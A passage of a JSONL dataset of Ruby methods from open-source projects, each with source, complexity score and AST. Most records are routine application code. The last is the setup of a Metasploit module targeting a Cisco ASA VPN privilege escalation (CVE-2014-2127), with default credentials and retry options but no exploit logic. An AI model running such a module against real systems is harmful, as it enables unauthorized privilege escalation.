end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"username_from_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource_user\",{\"type\":\"send\",\"children\":[null,\"resource_param\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\"]},{\"type\":\"lvasgn\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_user\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"alternate_domains\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_user\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"local_domain\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebfingerResource\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"resource_user\"]}]},\"username\"]}]}]}","id":"84316c76-1455-4ab7-8dea-cb03fc2ff550"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/costs.rb","start_line":79,"raw_source":"def budget_subject\n      budget&.subject\n    end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"budget_subject\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"budget\"]},\"subject\"]}]}","id":"3af9b877-55d1-4c3f-919c-0c472df7747a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/repository_link_filter.rb","start_line":94,"raw_source":"def get_uri(html_attr)\n        uri = Addressable::URI.parse(html_attr.value)\n\n        uri if uri.relative? && uri.path.present?\n      rescue URI::Error, Addressable::URI::InvalidURIError\n      end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html_attr\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_attr\"]},\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"relative?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]},\"present?\"]}]},{\"type\":\"lvar\",\"children\":[\"uri\"]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},null,null]},null]}]}","id":"48df07f5-5b6b-42fd-82e3-9a271cbe72fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/users_helper.rb","start_line":40,"raw_source":"def profile_actions(user)\n    return [] unless can?(current_user, :read_user_profile, user)\n\n    return [:overview, :activity] if user.bot?\n\n    [:overview, :activity, :groups, :contributed, :projects, :starred, :snippets, :followers, :following]\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_user_profile\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"bot?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"overview\"]},{\"type\":\"sym\",\"children\":[\"activity\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"overview\"]},{\"type\":\"sym\",\"children\":[\"activity\"]},{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"contributed\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"sym\",\"children\":[\"starred\"]},{\"type\":\"sym\",\"children\":[\"snippets\"]},{\"type\":\"sym\",\"children\":[\"followers\"]},{\"type\":\"sym\",\"children\":[\"following\"]}]}]}]}","id":"cc557719-6eab-42bd-88c7-59461ce71e4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build.rb","start_line":12,"raw_source":"def initialize(context, attributes, stages_for_needs_lookup)\n            @context = context\n            @pipeline = context.pipeline\n            @seed_attributes = attributes\n            @stages_for_needs_lookup = stages_for_needs_lookup.compact\n            @needs_attributes = dig(:needs_attributes)\n            @resource_group_key = attributes.delete(:resource_group_key)\n            @job_variables = @seed_attributes.delete(:job_variables)\n            @execution_config_attribute = @seed_attributes.delete(:execution_config)\n            @root_variables_inheritance = @seed_attributes.delete(:root_variables_inheritance) { true }\n\n            @using_rules  = attributes.key?(:rules)\n            @using_only   = attributes.key?(:only)\n            @using_except = attributes.key?(:except)\n\n            @only = Gitlab::Ci::Build::Policy\n              .fabricate(attributes.delete(:only))\n            @except = Gitlab::Ci::Build::Policy\n              .fabricate(attributes.delete(:except))\n            @rules = Gitlab::Ci::Build::Rules\n              .new(attributes.delete(:rules), default_when: attributes[:when])\n            @cache = Gitlab::Ci::Build::Cache\n              .new(attributes.delete(:cache), @pipeline)\n\n            calculate_yaml_variables!\n          end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]},{\"type\":\"arg\",\"children\":[\"stages_for_needs_lookup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@seed_attributes\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stages_for_needs_lookup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stages_for_needs_lookup\"]},\"compact\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@needs_attributes\",{\"type\":\"send\",\"children\":[null,\"dig\",{\"type\":\"sym\",\"children\":[\"needs_attributes\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@resource_group_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"resource_group_key\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@job_variables\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@seed_attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"job_variables\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@execution_config_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@seed_attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"execution_config\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@root_variables_inheritance\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@seed_attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"root_variables_inheritance\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@using_rules\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"rules\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@using_only\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"only\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@using_except\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"except\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@only\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Policy\"]},\"fabricate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"only\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@except\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Policy\"]},\"fabricate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"except\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rules\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Rules\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"rules\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_when\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"when\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Cache\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"cache\"]}]},{\"type\":\"ivar\",\"children\":[\"@pipeline\"]}]}]},{\"type\":\"send\",\"children\":[null,\"calculate_yaml_variables!\"]}]}]}","id":"e71bffff-5a22-49df-a504-5cf02501afd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/blob_presenter.rb","start_line":246,"raw_source":"def all_lines\n    @all_lines ||= blob.data.lines\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_lines\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"data\"]},\"lines\"]}]}]}","id":"64b97f91-c70c-414d-9af3-871811cf77fe"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/custom_markdown_renderer.rb","start_line":48,"raw_source":"def render_embedded_content(node)\n    link_url = node.url\n    embed_html = find_matching_embed(link_url)\n\n    return false unless embed_html\n\n    out(embed_html)\n    true\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_embedded_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"embed_html\",{\"type\":\"send\",\"children\":[null,\"find_matching_embed\",{\"type\":\"lvar\",\"children\":[\"link_url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embed_html\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"out\",{\"type\":\"lvar\",\"children\":[\"embed_html\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"ce033954-18be-4789-a39e-60ac2c97eae1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":310,"raw_source":"def slow_mode_enabled_until\n    object.topic.slow_mode_topic_timer&.execute_at\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"slow_mode_enabled_until\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"slow_mode_topic_timer\"]},\"execute_at\"]}]}","id":"9fe05dfd-ca96-4086-af19-8115405ace98"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":764,"raw_source":"def register_asset(file, opts = nil)\n    raise <<~ERROR if file.end_with?(\".hbs\", \".handlebars\")\n        [#{name}] Handlebars templates can no longer be included via `register_asset`.\n        Any hbs files under `assets/javascripts` will be automatically compiled and included.\"\n      ERROR\n\n    raise <<~ERROR if file.start_with?(\"javascripts/\") && file.end_with?(\".js\", \".js.es6\")\n        [#{name}] Javascript files under `assets/javascripts` are automatically included in JS bundles.\n        Manual register_asset calls should be removed. (attempted to add #{file})\n      ERROR\n\n    if opts && opts == :vendored_core_pretty_text\n      full_path = DiscoursePluginRegistry.core_asset_for_name(file)\n    else\n      full_path = File.dirname(path) << \"/assets/\" << file\n    end\n\n    assets << [full_path, opts, directory_name]\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register_asset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".hbs\"]},{\"type\":\"str\",\"children\":[\".handlebars\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Handlebars templates can no longer be included via `register_asset`.\\n\"]},{\"type\":\"str\",\"children\":[\"Any hbs files under `assets/javascripts` will be automatically compiled and included.\\\"\\n\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"javascripts/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".js\"]},{\"type\":\"str\",\"children\":[\".js.es6\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Javascript files under `assets/javascripts` are automatically included in JS bundles.\\n\"]},{\"type\":\"str\",\"children\":[\"Manual register_asset calls should be removed. (attempted to add \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"==\",{\"type\":\"sym\",\"children\":[\"vendored_core_pretty_text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"core_asset_for_name\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[null,\"path\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"/assets/\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assets\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"directory_name\"]}]}]}]}]}","id":"0b9f3af9-e4c8-493b-95cd-1e5d7b573b2c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/lfs_pointers/lfs_download_service.rb","start_line":129,"raw_source":"def create_tmp_storage_dir\n        FileUtils.makedirs(tmp_storage_dir)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_tmp_storage_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"makedirs\",{\"type\":\"send\",\"children\":[null,\"tmp_storage_dir\"]}]}]}","id":"83b147d0-a2aa-43c0-be00-28199e8b6593"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/proxy.rb","start_line":345,"raw_source":"def _retrieve_scope_and_opts(args) #:nodoc:\n      opts  = args.last.is_a?(Hash) ? args.pop : {}\n      scope = opts[:scope] || @config.default_scope\n      opts  = (@config[:scope_defaults][scope] || {}).merge(opts)\n      [scope, opts]\n    end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"_retrieve_scope_and_opts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"last\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"pop\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"default_scope\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_defaults\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"c074405f-67c1-4d99-ac6e-eb78fe5c6d21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/access_requested_mailer.rb","start_line":24,"raw_source":"def valid_to_email?\n      if member.blank?\n        Gitlab::AppLogger.info('Tried to send an access requested for an invalid member.')\n        return false\n      end\n\n      true\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_to_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Tried to send an access requested for an invalid member.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"42ba40f6-4e0c-4ea0-9603-b8a56436838d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability',\n        'Description' => %q{\n          This module exploits a privilege escalation vulnerability for Cisco\n          ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to\n          level 15.\n        },\n        'Author' => [\n          'jclaudius <jclaudius[at]trustwave.com>',\n          'lguay <laura.r.guay[at]gmail.com>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2014-2127'],\n          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],\n          ['URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18908']\n        ],\n        'DisclosureDate' => '2014-04-09',\n        'DefaultOptions' => { 'SSL' => true },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptString.new('USERNAME', [true, \"A specific username to authenticate as\", 'clientless']),\n        OptString.new('PASSWORD', [true, \"A specific password to authenticate with\", 'clientless']),\n        OptString.new('GROUP', [true, \"A specific VPN group to use\", 'clientless']),\n        OptInt.new('RETRIES', [true, 'The number of exploit attempts to make', 10])\n      ], self.class\n    )\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco ASA SSL VPN Privilege Escalation Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a privilege escalation vulnerability for Cisco\\n\"]},{\"type\":\"str\",\"children\":[\"          ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to\\n\"]},{\"type\":\"str\",\"children\":[\"          level 15.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jclaudius <jclaudius[at]trustwave.com>\"]},{\"type\":\"str\",\"children\":[\"lguay <laura.r.guay[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-2127\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18908\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-04-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A specific username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"clientless\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A specific password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"clientless\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"GROUP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A specific VPN group to use\"]},{\"type\":\"str\",\"children\":[\"clientless\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"RETRIES\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of exploit attempts to make\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"f2c68774-cb16-48a5-9ff6-b0f1178b7634"}
